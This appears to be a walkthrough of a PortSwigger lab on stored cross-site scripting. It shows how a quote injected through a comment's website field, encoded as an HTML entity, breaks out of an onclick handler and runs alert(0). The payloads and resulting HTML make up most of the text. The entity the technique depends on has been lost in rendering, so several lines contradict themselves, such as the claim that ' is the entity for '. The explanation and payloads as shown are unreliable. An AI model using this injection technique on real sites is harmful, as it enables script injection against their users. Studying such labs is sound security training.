Stored XSS onclick angle brackets double quotes encoded single quotes backslash escaped
| Field | Value |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Difficulty | Practitioner |
| Vulnerability | Stored XSS — Injection via Website Field into onclick Handler |
| Injection Point | Website URL field → onclick JavaScript string |
| Goal | Execute alert(0) by breaking out of the JS string using ' |
Lab — Stored XSS: Injection via Website Field into onclick Handler¶
Solution Walkthrough¶
Posting a comment and inspecting the rendered author link:
<a id="author" href="https://teto.com"
onclick="var tracker={track(){}};tracker.track('https://teto.com');">
teto
</a>
The website URL appears in two places: the href attribute and inside the onclick JavaScript string. The onclick handler passes our URL as a string argument to tracker.track() — if we can break out of that string, we can inject JavaScript.
Step 1 — Identify that literal ' is filtered
The website field rejects URLs that don't match expected format and strips or escapes literal single quotes — the field has some validation. However, ' is the HTML entity for ' and may be decoded server-side before being inserted into the onclick handler.
Step 2 — Confirm ' decodes to ' in the output
https://teto.com'
Resulting HTML:
onclick="var tracker={track(){}};tracker.track('https://teto.com'');"
' was decoded to ' and inserted literally — breaking the JavaScript string. We can now inject code.
Step 3 — Concatenate an alert call
https://teto.com'+alert(0)+'
Resulting HTML:
<a id="author" href="https://teto.com'+alert(0)+'"
onclick="var tracker={track(){}};tracker.track('https://teto.com'+alert(0)+' ');">
Teto
</a>
Clicking the author name executes alert(0) and the lab is solved :P
How the Payload Works¶
The onclick handler builds a string from our URL:
tracker.track('https://teto.com'+alert(0)+' ');
// ↑ ↑ ↑
// string opens concat empty string (our closing ' + app's ')
// our ' closes it call executes
When the link is clicked:
'https://teto.com'— first string (closed by our injected')+— concatenation operatoralert(0)— executed as a function call to compute the right operand+' '— our closing'opens a string that the application's own'closes
The ' Entity Bypass — Why It Works¶
The application validates and sanitizes the website field looking for literal ' characters and blocks or escapes them. However, it does not decode HTML entities before checking — so ' passes validation as a harmless string.
When the value is stored and later rendered into the HTML page, the browser (or the server-side template) decodes ' back to ' before inserting it into the onclick attribute value. The sanitization ran on the encoded form; the decoded form — containing the dangerous ' — ends up in the JavaScript.
Input: https://teto.com'+alert(0)+'
Validation: sees no ' — passes
Stored: https://teto.com'+alert(0)+'
Rendered: https://teto.com'+alert(0)+' ← ' decoded to '
JS executes: string breaks out, alert fires